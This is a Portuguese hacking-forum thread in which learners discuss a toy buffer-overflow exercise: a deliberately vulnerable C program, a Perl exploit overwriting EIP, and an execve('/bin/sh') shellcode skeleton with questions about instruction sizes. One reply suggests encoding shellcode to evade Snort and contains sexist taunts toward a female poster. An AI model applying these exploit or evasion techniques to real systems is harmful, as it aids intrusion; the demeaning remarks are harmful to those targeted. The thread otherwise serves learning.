
13/09/2008
|
|
Usuário Registrado
|
|
Data de registro: Mar 2007
Posts: 6
|
|
|
Buffer overflow simples
olá
estou tentando desenvover um programa vulneravel ao ataque buffer overflow e atacalo de forma bem simples:
olhe o fonte do meu codigo vulneravel "vuln.c":
Código:
#include <stdio.h>
int OverflowMe(char *str){
char buffer[10]; //our buffer
strcpy(buffer,str);//the vulnerable command
return 0;
}
int main(int intargc, char *argv[])
{
int pass=0;
printf("You are in vuln.exe now");
OverflowMe(argv[1]); //call the function and pass user input
if ( pass == 1)
{
GoodPass(); //this should never happen
} else {
printf("Lozer!!!");
}
printf("Quitting vuln.exe");
return 0;
}
int GoodPass(){
printf("******* You are IN! *******");
printf("******* This is GoodPass() executing *******");
}
olhe meu exploit:
Código:
#Here is the code of the exploit ( exploit.pl )
#!/usr/bin/perl
my $junkdata="x41"x28;# create the 28 byte length junk data
my $ret="x62x13x40x00";# our evil EIP goes here
my $exploit=$junkdata.$ret;# merge them into one evil string
print "Sending exploit....
";
system("vuln.exe", $exploit); # execute vuln.exe with the evil argument string
print "
Done!
";
olhe o endereço da função q peguei pelo pe explorer aqui?
ImageShack - Hosting :: testepj0.jpg
a unica coisa q eu quero fazer e sobreescrever o registrador EIP mudando o RETorno da função... quero executar a função GoodPass() que ja esta dentro do programa....
estou usando aqui o winxp 64 bits em ingles... será q é por causa do "data presention execution" q meu codigo nao funciona?
o tutorial original estava sendo usado o win2k:
DarkMindZ || Buffer Overflow Tutorial Part 1 + Part 2 -
|

01/11/2008
|
|
Usuário Registrado
|
|
Data de registro: Nov 2008
Posts: 9
|
|
|
Re: Buffer overflow simples
(espero que esse tópico não seja velho o suficiente para ser considerado uma ressurreição, mas...)
Até onde eu saiba, o DEP só previne que novo código seja executado, então executar código já existente não deveria ter problema algum.
Provavelmente o problema está na arquitetura do processador (processadores de 64bits usam um EIP 2x mas longo).
E não se esqueça que os endereços de memória podem mudar quando o programa é carregado num debugger, chamado por um script ou algo assim.
Última edição por FernandoSanches : 02/11/2008 às 01:07
|

28/12/2008
|
 |
Usuário Registrado
|
|
Data de registro: Dec 2008
Local: pirinopolis, Goias
Posts: 3
|
|
|
ME AJUDEM SHELLCODE
Olá personas!
Olha sou nova aqui nesse forum hacker e preciso de algumas informações...
Eu não consigo entender como é calculo o offset num shellcode.
POR EXEMPLO:
eu tenho esse codigo asm abaixo
Código:
popl %esi
movl %esi, array-offset(%esi)
movb $0x0, nullbyte-offset(%esi)
movl $0x0, null-offset(%esi)
movl $0xb, %eax
movl %esi, %ebx
leal array-offset(%esi), %ecx
leal null-offset(%esi), %edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh vem aqui
aí derepente me aparece o mesmo codigo, porem com um jump pulando para o offset do call
e o call com chamando o offset de popl e varios #"bytes" ,
Código:
jmp offset-para-chamar # 2 bytes <--------------------- de onde vem ¿
popl %esi # 1 byte <--------------------- de onde vem ¿
movl %esi, array-offset(%esi) # 3 bytes <---------------------de onde vem ¿
movb $0x0, nullbyte-offset(%esi) # 4 bytes <---------------------de onde vem ¿
movl $0x0, null-offset(%esi) # 7 bytes <---------------------de onde vem ¿
movl $0xb, %eax # 5 bytes <---------------------de onde vem ¿
movl %esi, %ebx # 2 bytes <---------------------de onde vem ¿
leal array-offset(%esi), %ecx # 3 bytes <---------------------de onde vem ¿
leal null-offset(%esi), %edx # 3 bytes <---------------------de onde vem ¿
int $0x80 # 2 bytes <---------------------de onde vem ¿
movl $0x1, %eax # 5 bytes <---------------------de onde vem ¿
movl $0x0, %ebx # 5 bytes <---------------------de onde vem ¿
int $0x80 # 2 bytes <---------------------de onde vem ¿
call offset-para-popl # 5 bytes <---------------------de onde vem ¿
/bin/sh vem aqui # 5 bytes <----------------------de onde vem ¿
A minha duvida é : "De onde vem esses bytes depois do "#" , eu sei como é calculado o offset para saltar de
JUMP para CALL e de CALL para POPL, o que eu preciso saber é de onde surgem esses bytes.
*Por favor me ajudem, serei uma hackgirl eternamente g(r)ata a quem me ajudar!!
Um doce beijo hacker para todos!!!!!!!11
|

02/01/2009
|
|
|
|
Re: Buffer overflow simples
movl $0x1, %eax # 5 bytes <---------------------de onde vem ¿
movl $0x0, %ebx # 5 bytes <---------------------de onde vem ¿
int $0x80
Pra voce hauhauha!! Bem, nao entendi esse "de onde vem" ai nao, isso ta me parecendo que voce nao manja nada eh quer "aparecer". Enfim olha gatinha os registradores de micro-processadores 80386 e tals, sao de 32 bts, e seguimentos de 64k e tals, ou seja, os registers sao 'e'ax e tals :P Nao vi necessidade desses 5 bytes ¬¬ humm... Eu acho que ja sei oq voce quis dizer:
%eax eh 32 bits e um fodera de set instruction eh 1 byte. Isso eh igual a 5... Nao eh isso? Voce nao se expressou direito. Nao entendi esse 5 bytes ai nao hauhauha!! Ta confusa :P Voce ta inventando, ateh porque dois digitos em hexa equivalem a 1 byte (0x80 <--). Bem, vou tentar explicar a base dos shellcodes: Voce precisa colocar o numero da syscall em %eax, seus parametros vem em %ebx, %ecx e %edx e depois si e tals... Enfim, isso ae em cima eh a syscall exit em assemby. Esta sintaxe eh a AT&T ou seja:
origem -> Destino
movl <-- move um valor para a parte baixa (? rsrs) low (\O/!) do registrador %eax. ou seja, o valor 1 vai ser movido para o low side do %eax (use a notacao %) que eh o numero da syscall exit. O zero (0x0) eh o status de saida. Repare que nao existe 5 bytes aí nao daí
digite isso no dos
net helpmsg 1
e
net helpmsg 0
O 0 representa o status de sucesso. A interrupcao 0x80 executa tudo daí rsrs o int que chama uma interrupcao, nao entendi mesmo isso dai de 5 bytes, esse code eh fulero :P Voce ta se fazendo sabia? Mas enfim, com relacao aos jumpers e essas besteiras ae, vou te da uma dica:
Procurar um texto escrito pelo IP_FIX da motd. E um texto que o Nash escreveu. Ah! nao use string para represetnar a shell com seus shellcodes, pois quando voce mandar (send ()) ele atraves do socket o snort fareja ele. Converta a string /bin/sh em shellcode e tals, ajuda bastante ehehe. Ah! Nao quera se fazer mais, pois nesse forum existem hackers que gostam de pegar neguinhas metidas a complexas =7 Eh isso Ei eiei, o ash suporta setuid viu? ehehe
falow
[s]
|

05/01/2009
|
 |
100% Livre!
|
|
Data de registro: Dec 2004
Local: Florianópolis, SC
Posts: 850
|
|
|
Re: ME AJUDEM SHELLCODE
Também não sei se entendi bem a dúvida.
Me parece que esses valores de bytes seriam o tamanho necessário pra cada instrução e seus parâmetros. Você deve encontrar os valores em algum livro sobre a arquitetura em questão.
Não verifiquei os valores e alguns me parecem um pouco estranhos, mas meu livro de Arquitetura de Computadores está emprestado pra eu desenferrujar meu assembly e tirar a dúvida.
|

05/01/2009
|
|
|
|
Re: Buffer overflow simples
A senhorita poderia ser mais especifica. Nao eh amigo Birkoff? Enfim, manda bala "direitinho" moça, nos estamos aqui para responder seus duvidas.
[]'s
|

05/01/2009
|
 |
Usuário Registrado
|
|
Data de registro: Dec 2008
Local: pirinopolis, Goias
Posts: 3
|
|
|
Re: Buffer overflow simples
Ola !
Pois é não entendi muito bem o que você quis dizer com hackers que gostam de pegar neguinhas, e todas essas babozeiras que você defecou aí meu lindo, pois eu não estou aqui para paparicos, gosto de tratar todos muito bem, mas não suporto idiotas machistas iludidos pela sombra do suposto conhecimento... aprenda a lidar com as pessoas primeiramente ok...
Para sua informação esse 5 bytes que você tanto disse desconhecer é meramente um exemplo querido poderia ser qualquer coisa ali, uma vez que o que eu quero saber é como calcular os "offsets" entendeu ou não....?]
veja bem eu tenho que saltar com o jump para a instrução call
jump offset para saltar para call
popl
movl
movl
mov
lea
call offset para popl
/bin/sh
eu sei que deve-se somar os bytes e converte-los para hexadecimall, porem não sei de onde vem os "BYTES"
como eu calculo os bytes..
e esse <---------------------- de onde vem ?
é justamente para dizer que não sei de onde vem ok....
Se puder me ajudar serei grata, senão godbye baby... nçao me interessam suas ideologias machistas-liberais....
|

06/01/2009
|
 |
100% Livre!
|
|
Data de registro: Dec 2004
Local: Florianópolis, SC
Posts: 850
|
|
|
Re: Buffer overflow simples
Neste caso, entendi corretamente a dúvida e já a respondi. Trata-se do tamanho de cada instrução com seus parâmetros, e terás que consultar um manual sobre a arquitetura em questão pra saber os valores.
De maneira geral, temos que o opcode da instrução (jmp, movl, etc.) ocupa um byte em ia32. Aí o resto vai depender do tamanho dos operandos. Se for um valor de 32bits, você vai precisar de 4 bytes. Se forem 2 operandos de 16 bits, também. E por aí vai.
Googleando rapidamente, encontrei um artigo que olhei por cima e acho que pode ajudar (p/ arquitetura ia32):
Encoding Intel x86/IA-32 Assembler Instructions | HALCODE
Recomento fortemente buscar um livro de arquitetura de computadores pra ter uma compreensão um pouco mais global e aprofundado do funcionamento do processamento de instruções pela CPU, será bem útil.
PS: Sugiro que deixe o sistema de reputação lidar com as "deselegâncias" do Raposa. Ele já foi banido uma vez daqui com outro login, e certamente não demorará para ser banido de novo se manter a linha de "atuação" no fórum. Acredite, nesse post ele até que pegou leve :P. Sobre o sistema de reputação, leia:
InfoSecurity TaskForce - Sistema de Reputação Online
InfoSecurity TaskForce - Regras de Uso
PS2: Notei agora. Recomendo que na próxima, crie um tópico especifico, em vez de reaproveitar um tópico existente. Quando o assunto não é continuação do tópico existente, mas sim um novo assunto/dúvida, um tópico novo tem muito mais chances de obter sucesso. De maneira geral, o guia http://www.istf.com.br/perguntas/ tem boas dicas neste sentido.
Última edição por Birkoff : 06/01/2009 às 09:34
|

06/01/2009
|
 |
Usuário Registrado
|
|
Data de registro: Dec 2008
Local: pirinopolis, Goias
Posts: 3
|
|
|
Re: Buffer overflow simples
Olá !
Muito Obrigada BIKOFF, vou estudar os links indicados, e em relação ao sistema de reputação, deixarei com eles...
Veja bem como é agradavel lidar com pessoas que impressionam pelo que sabem e não pela imagem fantasiosa de blackhat "marginalizado"
muit grata!!!
show me the code!!!!
|
|
|